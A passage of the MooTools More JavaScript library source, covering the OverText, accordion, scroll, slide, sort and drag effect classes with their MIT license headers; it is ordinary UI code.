			element.getParent('form').retrieve('validator').enforceField(element);
			return false;
		}
	}]


]);


/*
---

script: OverText.js

name: OverText

description: Shows text over an input that disappears when the user clicks into it. The text remains hidden if the user adds a value.

license: MIT-style license

authors:
  - Aaron Newton

requires:
  - Core/Options
  - Core/Events
  - Core/Element.Event
  - Class.Binds
  - Class.Occlude
  - Element.Position
  - Element.Shortcuts

provides: [OverText]

...
*/

var OverText = new Class({

	Implements: [Options, Events, Class.Occlude],

	Binds: ['reposition', 'assert', 'focus', 'hide'],

	options: {/*
		textOverride: null,
		onFocus: function(){},
		onTextHide: function(textEl, inputEl){},
		onTextShow: function(textEl, inputEl){}, */
		element: 'label',
		labelClass: 'overTxtLabel',
		positionOptions: {
			position: 'upperLeft',
			edge: 'upperLeft',
			offset: {
				x: 4,
				y: 2
			}
		},
		poll: false,
		pollInterval: 250,
		wrap: false
	},

	property: 'OverText',

	initialize: function(element, options){
		element = this.element = document.id(element);

		if (this.occlude()) return this.occluded;
		this.setOptions(options);

		this.attach(element);
		OverText.instances.push(this);

		if (this.options.poll) this.poll();
	},

	toElement: function(){
		return this.element;
	},

	attach: function(){
		var element = this.element,
			options = this.options,
			value = options.textOverride || element.get('alt') || element.get('title');

		if (!value) return this;

		var text = this.text = new Element(options.element, {
			'class': options.labelClass,
			styles: {
				lineHeight: 'normal',
				position: 'absolute',
				cursor: 'text'
			},
			html: value,
			events: {
				click: this.hide.pass(options.element == 'label', this)
			}
		}).inject(element, 'after');

		if (options.element == 'label'){
			if (!element.get('id')) element.set('id', 'input_' + String.uniqueID());
			text.set('for', element.get('id'));
		}

		if (options.wrap){
			this.textHolder = new Element('div.overTxtWrapper', {
				styles: {
					lineHeight: 'normal',
					position: 'relative'
				}
			}).grab(text).inject(element, 'before');
		}

		return this.enable();
	},

	destroy: function(){
		this.element.eliminate(this.property); // Class.Occlude storage
		this.disable();
		if (this.text) this.text.destroy();
		if (this.textHolder) this.textHolder.destroy();
		return this;
	},

	disable: function(){
		this.element.removeEvents({
			focus: this.focus,
			blur: this.assert,
			change: this.assert
		});
		window.removeEvent('resize', this.reposition);
		this.hide(true, true);
		return this;
	},

	enable: function(){
		this.element.addEvents({
			focus: this.focus,
			blur: this.assert,
			change: this.assert
		});
		window.addEvent('resize', this.reposition);
		this.reposition();
		return this;
	},

	wrap: function(){
		if (this.options.element == 'label'){
			if (!this.element.get('id')) this.element.set('id', 'input_' + String.uniqueID());
			this.text.set('for', this.element.get('id'));
		}
	},

	startPolling: function(){
		this.pollingPaused = false;
		return this.poll();
	},

	poll: function(stop){
		//start immediately
		//pause on focus
		//resumeon blur
		if (this.poller && !stop) return this;
		if (stop){
			clearInterval(this.poller);
		} else {
			this.poller = (function(){
				if (!this.pollingPaused) this.assert(true);
			}).periodical(this.options.pollInterval, this);
		}

		return this;
	},

	stopPolling: function(){
		this.pollingPaused = true;
		return this.poll(true);
	},

	focus: function(){
		if (this.text && (!this.text.isDisplayed() || this.element.get('disabled'))) return this;
		return this.hide();
	},

	hide: function(suppressFocus, force){
		if (this.text && (this.text.isDisplayed() && (!this.element.get('disabled') || force))){
			this.text.hide();
			this.fireEvent('textHide', [this.text, this.element]);
			this.pollingPaused = true;
			if (!suppressFocus){
				try {
					this.element.fireEvent('focus');
					this.element.focus();
				} catch(e){} //IE barfs if you call focus on hidden elements
			}
		}
		return this;
	},

	show: function(){
		if (this.text && !this.text.isDisplayed()){
			this.text.show();
			this.reposition();
			this.fireEvent('textShow', [this.text, this.element]);
			this.pollingPaused = false;
		}
		return this;
	},

	test: function(){
		return !this.element.get('value');
	},

	assert: function(suppressFocus){
		return this[this.test() ? 'show' : 'hide'](suppressFocus);
	},

	reposition: function(){
		this.assert(true);
		if (!this.element.isVisible()) return this.stopPolling().hide();
		if (this.text && this.test()){
			this.text.position(Object.merge(this.options.positionOptions, {
				relativeTo: this.element
			}));
		}
		return this;
	}

});

OverText.instances = [];

Object.append(OverText, {

	each: function(fn){
		return OverText.instances.each(function(ot, i){
			if (ot.element && ot.text) fn.call(OverText, ot, i);
		});
	},

	update: function(){

		return OverText.each(function(ot){
			return ot.reposition();
		});

	},

	hideAll: function(){

		return OverText.each(function(ot){
			return ot.hide(true, true);
		});

	},

	showAll: function(){
		return OverText.each(function(ot){
			return ot.show();
		});
	}

});



/*
---

script: Fx.Elements.js

name: Fx.Elements

description: Effect to change any number of CSS properties of any number of Elements.

license: MIT-style license

authors:
  - Valerio Proietti

requires:
  - Core/Fx.CSS
  - /MooTools.More

provides: [Fx.Elements]

...
*/

Fx.Elements = new Class({

	Extends: Fx.CSS,

	initialize: function(elements, options){
		this.elements = this.subject = $$(elements);
		this.parent(options);
	},

	compute: function(from, to, delta){
		var now = {};

		for (var i in from){
			var iFrom = from[i], iTo = to[i], iNow = now[i] = {};
			for (var p in iFrom) iNow[p] = this.parent(iFrom[p], iTo[p], delta);
		}

		return now;
	},

	set: function(now){
		for (var i in now){
			if (!this.elements[i]) continue;

			var iNow = now[i];
			for (var p in iNow) this.render(this.elements[i], p, iNow[p], this.options.unit);
		}

		return this;
	},

	start: function(obj){
		if (!this.check(obj)) return this;
		var from = {}, to = {};

		for (var i in obj){
			if (!this.elements[i]) continue;

			var iProps = obj[i], iFrom = from[i] = {}, iTo = to[i] = {};

			for (var p in iProps){
				var parsed = this.prepare(this.elements[i], p, iProps[p]);
				iFrom[p] = parsed.from;
				iTo[p] = parsed.to;
			}
		}

		return this.parent(from, to);
	}

});


/*
---

script: Fx.Accordion.js

name: Fx.Accordion

description: An Fx.Elements extension which allows you to easily create accordion type controls.

license: MIT-style license

authors:
  - Valerio Proietti

requires:
  - Core/Element.Event
  - /Fx.Elements

provides: [Fx.Accordion]

...
*/

Fx.Accordion = new Class({

	Extends: Fx.Elements,

	options: {/*
		onActive: function(toggler, section){},
		onBackground: function(toggler, section){},*/
		fixedHeight: false,
		fixedWidth: false,
		display: 0,
		show: false,
		height: true,
		width: false,
		opacity: true,
		alwaysHide: false,
		trigger: 'click',
		initialDisplayFx: true,
		resetHeight: true
	},

	initialize: function(){
		var defined = function(obj){
			return obj != null;
		};

		var params = Array.link(arguments, {
			'container': Type.isElement, //deprecated
			'options': Type.isObject,
			'togglers': defined,
			'elements': defined
		});
		this.parent(params.elements, params.options);

		var options = this.options,
			togglers = this.togglers = $$(params.togglers);

		this.previous = -1;
		this.internalChain = new Chain();

		if (options.alwaysHide) this.options.link = 'chain';

		if (options.show || this.options.show === 0){
			options.display = false;
			this.previous = options.show;
		}

		if (options.start){
			options.display = false;
			options.show = false;
		}

		var effects = this.effects = {};

		if (options.opacity) effects.opacity = 'fullOpacity';
		if (options.width) effects.width = options.fixedWidth ? 'fullWidth' : 'offsetWidth';
		if (options.height) effects.height = options.fixedHeight ? 'fullHeight' : 'scrollHeight';

		for (var i = 0, l = togglers.length; i < l; i++) this.addSection(togglers[i], this.elements[i]);

		this.elements.each(function(el, i){
			if (options.show === i){
				this.fireEvent('active', [togglers[i], el]);
			} else {
				for (var fx in effects) el.setStyle(fx, 0);
			}
		}, this);

		if (options.display || options.display === 0 || options.initialDisplayFx === false){
			this.display(options.display, options.initialDisplayFx);
		}

		if (options.fixedHeight !== false) options.resetHeight = false;
		this.addEvent('complete', this.internalChain.callChain.bind(this.internalChain));
	},

	addSection: function(toggler, element){
		toggler = document.id(toggler);
		element = document.id(element);
		this.togglers.include(toggler);
		this.elements.include(element);

		var togglers = this.togglers,
			options = this.options,
			test = togglers.contains(toggler),
			idx = togglers.indexOf(toggler),
			displayer = this.display.pass(idx, this);

		toggler.store('accordion:display', displayer)
			.addEvent(options.trigger, displayer);

		if (options.height) element.setStyles({'padding-top': 0, 'border-top': 'none', 'padding-bottom': 0, 'border-bottom': 'none'});
		if (options.width) element.setStyles({'padding-left': 0, 'border-left': 'none', 'padding-right': 0, 'border-right': 'none'});

		element.fullOpacity = 1;
		if (options.fixedWidth) element.fullWidth = options.fixedWidth;
		if (options.fixedHeight) element.fullHeight = options.fixedHeight;
		element.setStyle('overflow', 'hidden');

		if (!test) for (var fx in this.effects){
			element.setStyle(fx, 0);
		}
		return this;
	},

	removeSection: function(toggler, displayIndex){
		var togglers = this.togglers,
			idx = togglers.indexOf(toggler),
			element = this.elements[idx];

		var remover = function(){
			togglers.erase(toggler);
			this.elements.erase(element);
			this.detach(toggler);
		}.bind(this);

		if (this.now == idx || displayIndex != null){
			this.display(displayIndex != null ? displayIndex : (idx - 1 >= 0 ? idx - 1 : 0)).chain(remover);
		} else {
			remover();
		}
		return this;
	},

	detach: function(toggler){
		var remove = function(toggler){
			toggler.removeEvent(this.options.trigger, toggler.retrieve('accordion:display'));
		}.bind(this);

		if (!toggler) this.togglers.each(remove);
		else remove(toggler);
		return this;
	},

	display: function(index, useFx){
		if (!this.check(index, useFx)) return this;

		var obj = {},
			elements = this.elements,
			options = this.options,
			effects = this.effects;

		if (useFx == null) useFx = true;
		if (typeOf(index) == 'element') index = elements.indexOf(index);
		if (index == this.previous && !options.alwaysHide) return this;

		if (options.resetHeight){
			var prev = elements[this.previous];
			if (prev && !this.selfHidden){
				for (var fx in effects) prev.setStyle(fx, prev[effects[fx]]);
			}
		}

		if ((this.timer && options.link == 'chain') || (index === this.previous && !options.alwaysHide)) return this;

		this.previous = index;
		this.selfHidden = false;

		elements.each(function(el, i){
			obj[i] = {};
			var hide;
			if (i != index){
				hide = true;
			} else if (options.alwaysHide && ((el.offsetHeight > 0 && options.height) || el.offsetWidth > 0 && options.width)){
				hide = true;
				this.selfHidden = true;
			}
			this.fireEvent(hide ? 'background' : 'active', [this.togglers[i], el]);
			for (var fx in effects) obj[i][fx] = hide ? 0 : el[effects[fx]];
			if (!useFx && !hide && options.resetHeight) obj[i].height = 'auto';
		}, this);

		this.internalChain.clearChain();
		this.internalChain.chain(function(){
			if (options.resetHeight && !this.selfHidden){
				var el = elements[index];
				if (el) el.setStyle('height', 'auto');
			}
		}.bind(this));

		return useFx ? this.start(obj) : this.set(obj).internalChain.callChain();
	}

});




/*
---

script: Fx.Move.js

name: Fx.Move

description: Defines Fx.Move, a class that works with Element.Position.js to transition an element from one location to another.

license: MIT-style license

authors:
  - Aaron Newton

requires:
  - Core/Fx.Morph
  - /Element.Position

provides: [Fx.Move]

...
*/

Fx.Move = new Class({

	Extends: Fx.Morph,

	options: {
		relativeTo: document.body,
		position: 'center',
		edge: false,
		offset: {x: 0, y: 0}
	},

	start: function(destination){
		var element = this.element,
			topLeft = element.getStyles('top', 'left');
		if (topLeft.top == 'auto' || topLeft.left == 'auto'){
			element.setPosition(element.getPosition(element.getOffsetParent()));
		}
		return this.parent(element.position(Object.merge({}, this.options, destination, {returnPos: true})));
	}

});

Element.Properties.move = {

	set: function(options){
		this.get('move').cancel().setOptions(options);
		return this;
	},

	get: function(){
		var move = this.retrieve('move');
		if (!move){
			move = new Fx.Move(this, {link: 'cancel'});
			this.store('move', move);
		}
		return move;
	}

};

Element.implement({

	move: function(options){
		this.get('move').start(options);
		return this;
	}

});


/*
---

script: Fx.Scroll.js

name: Fx.Scroll

description: Effect to smoothly scroll any element, including the window.

license: MIT-style license

authors:
  - Valerio Proietti

requires:
  - Core/Fx
  - Core/Element.Event
  - Core/Element.Dimensions
  - /MooTools.More

provides: [Fx.Scroll]

...
*/

(function(){

Fx.Scroll = new Class({

	Extends: Fx,

	options: {
		offset: {x: 0, y: 0},
		wheelStops: true
	},

	initialize: function(element, options){
		this.element = this.subject = document.id(element);
		this.parent(options);

		if (typeOf(this.element) != 'element') this.element = document.id(this.element.getDocument().body);

		if (this.options.wheelStops){
			var stopper = this.element,
				cancel = this.cancel.pass(false, this);
			this.addEvent('start', function(){
				stopper.addEvent('mousewheel', cancel);
			}, true);
			this.addEvent('complete', function(){
				stopper.removeEvent('mousewheel', cancel);
			}, true);
		}
	},

	set: function(){
		var now = Array.flatten(arguments);
		if (Browser.firefox) now = [Math.round(now[0]), Math.round(now[1])]; // not needed anymore in newer firefox versions
		this.element.scrollTo(now[0], now[1]);
		return this;
	},

	compute: function(from, to, delta){
		return [0, 1].map(function(i){
			return Fx.compute(from[i], to[i], delta);
		});
	},

	start: function(x, y){
		if (!this.check(x, y)) return this;
		var scroll = this.element.getScroll();
		return this.parent([scroll.x, scroll.y], [x, y]);
	},

	calculateScroll: function(x, y){
		var element = this.element,
			scrollSize = element.getScrollSize(),
			scroll = element.getScroll(),
			size = element.getSize(),
			offset = this.options.offset,
			values = {x: x, y: y};

		for (var z in values){
			if (!values[z] && values[z] !== 0) values[z] = scroll[z];
			if (typeOf(values[z]) != 'number') values[z] = scrollSize[z] - size[z];
			values[z] += offset[z];
		}

		return [values.x, values.y];
	},

	toTop: function(){
		return this.start.apply(this, this.calculateScroll(false, 0));
	},

	toLeft: function(){
		return this.start.apply(this, this.calculateScroll(0, false));
	},

	toRight: function(){
		return this.start.apply(this, this.calculateScroll('right', false));
	},

	toBottom: function(){
		return this.start.apply(this, this.calculateScroll(false, 'bottom'));
	},

	toElement: function(el, axes){
		axes = axes ? Array.from(axes) : ['x', 'y'];
		var scroll = isBody(this.element) ? {x: 0, y: 0} : this.element.getScroll();
		var position = Object.map(document.id(el).getPosition(this.element), function(value, axis){
			return axes.contains(axis) ? value + scroll[axis] : false;
		});
		return this.start.apply(this, this.calculateScroll(position.x, position.y));
	},

	toElementEdge: function(el, axes, offset){
		axes = axes ? Array.from(axes) : ['x', 'y'];
		el = document.id(el);
		var to = {},
			position = el.getPosition(this.element),
			size = el.getSize(),
			scroll = this.element.getScroll(),
			containerSize = this.element.getSize(),
			edge = {
				x: position.x + size.x,
				y: position.y + size.y
			};

		['x', 'y'].each(function(axis){
			if (axes.contains(axis)){
				if (edge[axis] > scroll[axis] + containerSize[axis]) to[axis] = edge[axis] - containerSize[axis];
				if (position[axis] < scroll[axis]) to[axis] = position[axis];
			}
			if (to[axis] == null) to[axis] = scroll[axis];
			if (offset && offset[axis]) to[axis] = to[axis] + offset[axis];
		}, this);

		if (to.x != scroll.x || to.y != scroll.y) this.start(to.x, to.y);
		return this;
	},

	toElementCenter: function(el, axes, offset){
		axes = axes ? Array.from(axes) : ['x', 'y'];
		el = document.id(el);
		var to = {},
			position = el.getPosition(this.element),
			size = el.getSize(),
			scroll = this.element.getScroll(),
			containerSize = this.element.getSize();

		['x', 'y'].each(function(axis){
			if (axes.contains(axis)){
				to[axis] = position[axis] - (containerSize[axis] - size[axis]) / 2;
			}
			if (to[axis] == null) to[axis] = scroll[axis];
			if (offset && offset[axis]) to[axis] = to[axis] + offset[axis];
		}, this);

		if (to.x != scroll.x || to.y != scroll.y) this.start(to.x, to.y);
		return this;
	}

});



function isBody(element){
	return (/^(?:body|html)$/i).test(element.tagName);
}

})();


/*
---

script: Fx.Slide.js

name: Fx.Slide

description: Effect to slide an element in and out of view.

license: MIT-style license

authors:
  - Valerio Proietti

requires:
  - Core/Fx
  - Core/Element.Style
  - /MooTools.More

provides: [Fx.Slide]

...
*/

Fx.Slide = new Class({

	Extends: Fx,

	options: {
		mode: 'vertical',
		wrapper: false,
		hideOverflow: true,
		resetHeight: false
	},

	initialize: function(element, options){
		element = this.element = this.subject = document.id(element);
		this.parent(options);
		options = this.options;

		var wrapper = element.retrieve('wrapper'),
			styles = element.getStyles('margin', 'position', 'overflow');

		if (options.hideOverflow) styles = Object.append(styles, {overflow: 'hidden'});
		if (options.wrapper) wrapper = document.id(options.wrapper).setStyles(styles);

		if (!wrapper) wrapper = new Element('div', {
			styles: styles
		}).wraps(element);

		element.store('wrapper', wrapper).setStyle('margin', 0);
		if (element.getStyle('overflow') == 'visible') element.setStyle('overflow', 'hidden');

		this.now = [];
		this.open = true;
		this.wrapper = wrapper;

		this.addEvent('complete', function(){
			this.open = (wrapper['offset' + this.layout.capitalize()] != 0);
			if (this.open && this.options.resetHeight) wrapper.setStyle('height', '');
		}, true);
	},

	vertical: function(){
		this.margin = 'margin-top';
		this.layout = 'height';
		this.offset = this.element.offsetHeight;
	},

	horizontal: function(){
		this.margin = 'margin-left';
		this.layout = 'width';
		this.offset = this.element.offsetWidth;
	},

	set: function(now){
		this.element.setStyle(this.margin, now[0]);
		this.wrapper.setStyle(this.layout, now[1]);
		return this;
	},

	compute: function(from, to, delta){
		return [0, 1].map(function(i){
			return Fx.compute(from[i], to[i], delta);
		});
	},

	start: function(how, mode){
		if (!this.check(how, mode)) return this;
		this[mode || this.options.mode]();

		var margin = this.element.getStyle(this.margin).toInt(),
			layout = this.wrapper.getStyle(this.layout).toInt(),
			caseIn = [[margin, layout], [0, this.offset]],
			caseOut = [[margin, layout], [-this.offset, 0]],
			start;

		switch (how){
			case 'in': start = caseIn; break;
			case 'out': start = caseOut; break;
			case 'toggle': start = (layout == 0) ? caseIn : caseOut;
		}
		return this.parent(start[0], start[1]);
	},

	slideIn: function(mode){
		return this.start('in', mode);
	},

	slideOut: function(mode){
		return this.start('out', mode);
	},

	hide: function(mode){
		this[mode || this.options.mode]();
		this.open = false;
		return this.set([-this.offset, 0]);
	},

	show: function(mode){
		this[mode || this.options.mode]();
		this.open = true;
		return this.set([0, this.offset]);
	},

	toggle: function(mode){
		return this.start('toggle', mode);
	}

});

Element.Properties.slide = {

	set: function(options){
		this.get('slide').cancel().setOptions(options);
		return this;
	},

	get: function(){
		var slide = this.retrieve('slide');
		if (!slide){
			slide = new Fx.Slide(this, {link: 'cancel'});
			this.store('slide', slide);
		}
		return slide;
	}

};

Element.implement({

	slide: function(how, mode){
		how = how || 'toggle';
		var slide = this.get('slide'), toggle;
		switch (how){
			case 'hide': slide.hide(mode); break;
			case 'show': slide.show(mode); break;
			case 'toggle':
				var flag = this.retrieve('slide:flag', slide.open);
				slide[flag ? 'slideOut' : 'slideIn'](mode);
				this.store('slide:flag', !flag);
				toggle = true;
			break;
			default: slide.start(how, mode);
		}
		if (!toggle) this.eliminate('slide:flag');
		return this;
	}

});


/*
---

script: Fx.SmoothScroll.js

name: Fx.SmoothScroll

description: Class for creating a smooth scrolling effect to all internal links on the page.

license: MIT-style license

authors:
  - Valerio Proietti

requires:
  - Core/Slick.Finder
  - /Fx.Scroll

provides: [Fx.SmoothScroll]

...
*/

Fx.SmoothScroll = new Class({

	Extends: Fx.Scroll,

	options: {
		axes: ['x', 'y']
	},

	initialize: function(options, context){
		context = context || document;
		this.doc = context.getDocument();
		this.parent(this.doc, options);

		var win = context.getWindow(),
			location = win.location.href.match(/^[^#]*/)[0] + '#',
			links = $$(this.options.links || this.doc.links);

		links.each(function(link){
			if (link.href.indexOf(location) != 0) return;
			var anchor = link.href.substr(location.length);
			if (anchor) this.useLink(link, anchor);
		}, this);

		this.addEvent('complete', function(){
			win.location.hash = this.anchor;
			this.element.scrollTo(this.to[0], this.to[1]);
		}, true);
	},

	useLink: function(link, anchor){

		link.addEvent('click', function(event){
			var el = document.id(anchor) || this.doc.getElement('a[name=' + anchor + ']');
			if (!el) return;

			event.preventDefault();
			this.toElement(el, this.options.axes).chain(function(){
				this.fireEvent('scrolledTo', [link, el]);
			}.bind(this));

			this.anchor = anchor;

		}.bind(this));

		return this;
	}
});


/*
---

script: Fx.Sort.js

name: Fx.Sort

description: Defines Fx.Sort, a class that reorders lists with a transition.

license: MIT-style license

authors:
  - Aaron Newton

requires:
  - Core/Element.Dimensions
  - /Fx.Elements
  - /Element.Measure

provides: [Fx.Sort]

...
*/

Fx.Sort = new Class({

	Extends: Fx.Elements,

	options: {
		mode: 'vertical'
	},

	initialize: function(elements, options){
		this.parent(elements, options);
		this.elements.each(function(el){
			if (el.getStyle('position') == 'static') el.setStyle('position', 'relative');
		});
		this.setDefaultOrder();
	},

	setDefaultOrder: function(){
		this.currentOrder = this.elements.map(function(el, index){
			return index;
		});
	},

	sort: function(){
		if (!this.check(arguments)) return this;
		var newOrder = Array.flatten(arguments);

		var top = 0,
			left = 0,
			next = {},
			zero = {},
			vert = this.options.mode == 'vertical';

		var current = this.elements.map(function(el, index){
			var size = el.getComputedSize({styles: ['border', 'padding', 'margin']});
			var val;
			if (vert){
				val = {
					top: top,
					margin: size['margin-top'],
					height: size.totalHeight
				};
				top += val.height - size['margin-top'];
			} else {
				val = {
					left: left,
					margin: size['margin-left'],
					width: size.totalWidth
				};
				left += val.width;
			}
			var plane = vert ? 'top' : 'left';
			zero[index] = {};
			var start = el.getStyle(plane).toInt();
			zero[index][plane] = start || 0;
			return val;
		}, this);

		this.set(zero);
		newOrder = newOrder.map(function(i){ return i.toInt(); });
		if (newOrder.length != this.elements.length){
			this.currentOrder.each(function(index){
				if (!newOrder.contains(index)) newOrder.push(index);
			});
			if (newOrder.length > this.elements.length)
				newOrder.splice(this.elements.length-1, newOrder.length - this.elements.length);
		}
		var margin = 0;
		top = left = 0;
		newOrder.each(function(item){
			var newPos = {};
			if (vert){
				newPos.top = top - current[item].top - margin;
				top += current[item].height;
			} else {
				newPos.left = left - current[item].left;
				left += current[item].width;
			}
			margin = margin + current[item].margin;
			next[item]=newPos;
		}, this);
		var mapped = {};
		Array.clone(newOrder).sort().each(function(index){
			mapped[index] = next[index];
		});
		this.start(mapped);
		this.currentOrder = newOrder;

		return this;
	},

	rearrangeDOM: function(newOrder){
		newOrder = newOrder || this.currentOrder;
		var parent = this.elements[0].getParent();
		var rearranged = [];
		this.elements.setStyle('opacity', 0);
		//move each element and store the new default order
		newOrder.each(function(index){
			rearranged.push(this.elements[index].inject(parent).setStyles({
				top: 0,
				left: 0
			}));
		}, this);
		this.elements.setStyle('opacity', 1);
		this.elements = $$(rearranged);
		this.setDefaultOrder();
		return this;
	},

	getDefaultOrder: function(){
		return this.elements.map(function(el, index){
			return index;
		});
	},

	getCurrentOrder: function(){
		return this.currentOrder;
	},

	forward: function(){
		return this.sort(this.getDefaultOrder());
	},

	backward: function(){
		return this.sort(this.getDefaultOrder().reverse());
	},

	reverse: function(){
		return this.sort(this.currentOrder.reverse());
	},

	sortByElements: function(elements){
		return this.sort(elements.map(function(el){
			return this.elements.indexOf(el);
		}, this));
	},

	swap: function(one, two){
		if (typeOf(one) == 'element') one = this.elements.indexOf(one);
		if (typeOf(two) == 'element') two = this.elements.indexOf(two);

		var newOrder = Array.clone(this.currentOrder);
		newOrder[this.currentOrder.indexOf(one)] = two;
		newOrder[this.currentOrder.indexOf(two)] = one;

		return this.sort(newOrder);
	}

});


/*
---

script: Drag.js

name: Drag

description: The base Drag Class. Can be used to drag and resize Elements using mouse events.

license: MIT-style license

authors:
  - Valerio Proietti
  - Tom Occhinno
  - Jan Kassens

requires:
  - Core/Events
  - Core/Options
  - Core/Element.Event
  - Core/Element.Style
  - Core/Element.Dimensions
  - /MooTools.More

provides: [Drag]
...

*/

var Drag = new Class({

	Implements: [Events, Options],

	options: {/*
		onBeforeStart: function(thisElement){},
		onStart: function(thisElement, event){},
		onSnap: function(thisElement){},
		onDrag: function(thisElement, event){},
		onCancel: function(thisElement){},
		onComplete: function(thisElement, event){},*/
		snap: 6,
		unit: 'px',
		grid: false,
		style: true,
		limit: false,
		handle: false,
		invert: false,
		preventDefault: false,
		stopPropagation: false,
		modifiers: {x: 'left', y: 'top'}
	},

	initialize: function(){
		var params = Array.link(arguments, {
			'options': Type.isObject,
			'element': function(obj){
				return obj != null;
			}
		});

		this.element = document.id(params.element);
		this.document = this.element.getDocument();
		this.setOptions(params.options || {});
		var htype = typeOf(this.options.handle);
		this.handles = ((htype == 'array' || htype == 'collection') ? $$(this.options.handle) : document.id(this.options.handle)) || this.element;
		this.mouse = {'now': {}, 'pos': {}};
		this.value = {'start': {}, 'now': {}};

		this.selection = (Browser.ie) ? 'selectstart' : 'mousedown';


		if (Browser.ie && !Drag.ondragstartFixed){
			document.ondragstart = Function.from(false);
			Drag.ondragstartFixed = true;
		}

		this.bound = {
			start: this.start.bind(this),
			check: this.check.bind(this),
			drag: this.drag.bind(this),
			stop: this.stop.bind(this),
			cancel: this.cancel.bind(this),
			eventStop: Function.from(false)
		};
		this.attach();
	},

	attach: function(){
		this.handles.addEvent('mousedown', this.bound.start);
		return this;
	},

	detach: function(){
		this.handles.removeEvent('mousedown', this.bound.start);
		return this;
	},

	start: function(event){
		var options = this.options;

		if (event.rightClick) return;

		if (options.preventDefault) event.preventDefault();
		if (options.stopPropagation) event.stopPropagation();
		this.mouse.start = event.page;

		this.fireEvent('beforeStart', this.element);

		var limit = options.limit;
		this.limit = {x: [], y: []};

		var z, coordinates;
		for (z in options.modifiers){
			if (!options.modifiers[z]) continue;

			var style = this.element.getStyle(options.modifiers[z]);

			// Some browsers (IE and Opera) don't always return pixels.
			if (style && !style.match(/px$/)){
				if (!coordinates) coordinates = this.element.getCoordinates(this.element.getOffsetParent());
				style = coordinates[options.modifiers[z]];
			}

			if (options.style) this.value.now[z] = (style || 0).toInt();
			else this.value.now[z] = this.element[options.modifiers[z]];

			if (options.invert) this.value.now[z] *= -1;

			this.mouse.pos[z] = event.page[z] - this.value.now[z];

			if (limit && limit[z]){
				var i = 2;
				while (i--){
					var limitZI = limit[z][i];
					if (limitZI || limitZI === 0) this.limit[z][i] = (typeof limitZI == 'function') ? limitZI() : limitZI;
				}
			}
		}

		if (typeOf(this.options.grid) == 'number') this.options.grid = {
			x: this.options.grid,
			y: this.options.grid
		};

		var events = {
			mousemove: this.bound.check,
			mouseup: this.bound.cancel
		};
		events[this.selection] = this.bound.eventStop;
		this.document.addEvents(events);
	},

	check: function(event){
		if (this.options.preventDefault) event.preventDefault();
		var distance = Math.round(Math.sqrt(Math.pow(event.page.x - this.mouse.start.x, 2) + Math.pow(event.page.y - this.mouse.start.y, 2)));
		if (distance > this.options.snap){
			this.cancel();
			this.document.addEvents({
				mousemove: this.bound.drag,
				mouseup: this.bound.stop
			});
			this.fireEvent('start', [this.element, event]).fireEvent('snap', this.element);
		}
	},

	drag: function(event){
		var options = this.options;

		if (options.preventDefault) event.preventDefault();
		this.mouse.now = event.page;

		for (var z in options.modifiers){
			if (!options.modifiers[z]) continue;
			this.value.now[z] = this.mouse.now[z] - this.mouse.pos[z];

			if (options.invert) this.value.now[z] *= -1;

			if (options.limit && this.limit[z]){
				if ((this.limit[z][1] || this.limit[z][1] === 0) && (this.value.now[z] > this.limit[z][1])){
					this.value.now[z] = this.limit[z][1];
				} else if ((this.limit[z][0] || this.limit[z][0] === 0) && (this.value.now[z] < this.limit[z][0])){
					this.value.now[z] = this.limit[z][0];
				}
			}

			if (options.grid[z]) this.value.now[z] -= ((this.value.now[z] - (this.limit[z][0]||0)) % options.grid[z]);

			if (options.style) this.element.setStyle(options.modifiers[z], this.value.now[z] + options.unit);
			else this.element[options.modifiers[z]] = this.value.now[z];
		}

		this.fireEvent('drag', [this.element, event]);
	},

	cancel: function(event){
		this.document.removeEvents({
			mousemove: this.bound.check,
			mouseup: this.bound.cancel
		});
		if (event){
			this.document.removeEvent(this.selection, this.bound.eventStop);
			this.fireEvent('cancel', this.element);
		}
	},

	stop: function(event){
		var events = {
			mousemove: this.bound.drag,
			mouseup: this.bound.stop
		};
		events[this.selection] = this.bound.eventStop;
		this.document.removeEvents(events);
		if (event) this.fireEvent('complete', [this.element, event]);
	}

});

Element.implement({

	makeResizable: function(options){
		var drag = new Drag(this, Object.merge({
			modifiers: {
				x: 'width',
				y: 'height'
			}
		}, options));

		this.store('resizer', drag);
		return drag.addEvent('drag', function(){
			this.fireEvent('resize', drag);
		}.bind(this));
	}

});


/*
---

script: Drag.Move.js

name: Drag.Move

description: A Drag extension that provides support for the constraining of draggables to containers and droppables.

license: MIT-style license

authors:
  - Valerio Proietti
  - Tom Occhinno
  - Jan Kassens
  - Aaron Newton
  - Scott Kyle

requires:
  - Core/Element.Dimensions
  - /Drag

provides: [Drag.Move]

...
*/

Drag.Move = new Class({

	Extends: Drag,

	options: {/*
		onEnter: function(thisElement, overed){},
		onLeave: function(thisElement, overed){},
		onDrop: function(thisElement, overed, event){},*/
		droppables: [],
		container: false,
		precalculate: false,
		includeMargins: true,
		checkDroppables: true
	},

	initialize: function(element, options){
		this.parent(element, options);
		element = this.element;

		this.droppables = $$(this.options.droppables);
		this.container = document.id(this.options.container);

		if (this.container && typeOf(this.container) != 'element')
			this.container = document.id(this.container.getDocument().body);

		if (this.options.style){
			if (this.options.modifiers.x == 'left' && this.options.modifiers.y == 'top'){
				var parent = element.getOffsetParent(),
					styles = element.getStyles('left', 'top');
				if (parent && (styles.left == 'auto' || styles.top == 'auto')){
					element.setPosition(element.getPosition(parent));
				}
			}

			if (element.getStyle('position') == 'static') element.setStyle('position', 'absolute');
		}

		this.addEvent('start', this.checkDroppables, true);
		this.overed = null;
	},

	start: function(event){
		if (this.container) this.options.limit = this.calculateLimit();

		if (this.options.precalculate){
			this.positions = this.droppables.map(function(el){
				return el.getCoordinates();
			});
		}

		this.parent(event);
	},

	calculateLimit: function(){
		var element = this.element,
			container = this.container,

			offsetParent = document.id(element.getOffsetParent()) || document.body,
			containerCoordinates = container.getCoordinates(offsetParent),
			elementMargin = {},
			elementBorder = {},
			containerMargin = {},
			containerBorder = {},
			offsetParentPadding = {};

		['top', 'right', 'bottom', 'left'].each(function(pad){
			elementMargin[pad] = element.getStyle('margin-' + pad).toInt();
			elementBorder[pad] = element.getStyle('border-' + pad).toInt();
			containerMargin[pad] = container.getStyle('margin-' + pad).toInt();
			containerBorder[pad] = container.getStyle('border-' + pad).toInt();
			offsetParentPadding[pad] = offsetParent.getStyle('padding-' + pad).toInt();
		}, this);

		var width = element.offsetWidth + elementMargin.left + elementMargin.right,
			height = element.offsetHeight + elementMargin.top + elementMargin.bottom,
			left = 0,
			top = 0,
			right = containerCoordinates.right - containerBorder.right - width,
			bottom = containerCoordinates.bottom - containerBorder.bottom - height;

		if (this.options.includeMargins){
			left += elementMargin.left;
			top += elementMargin.top;
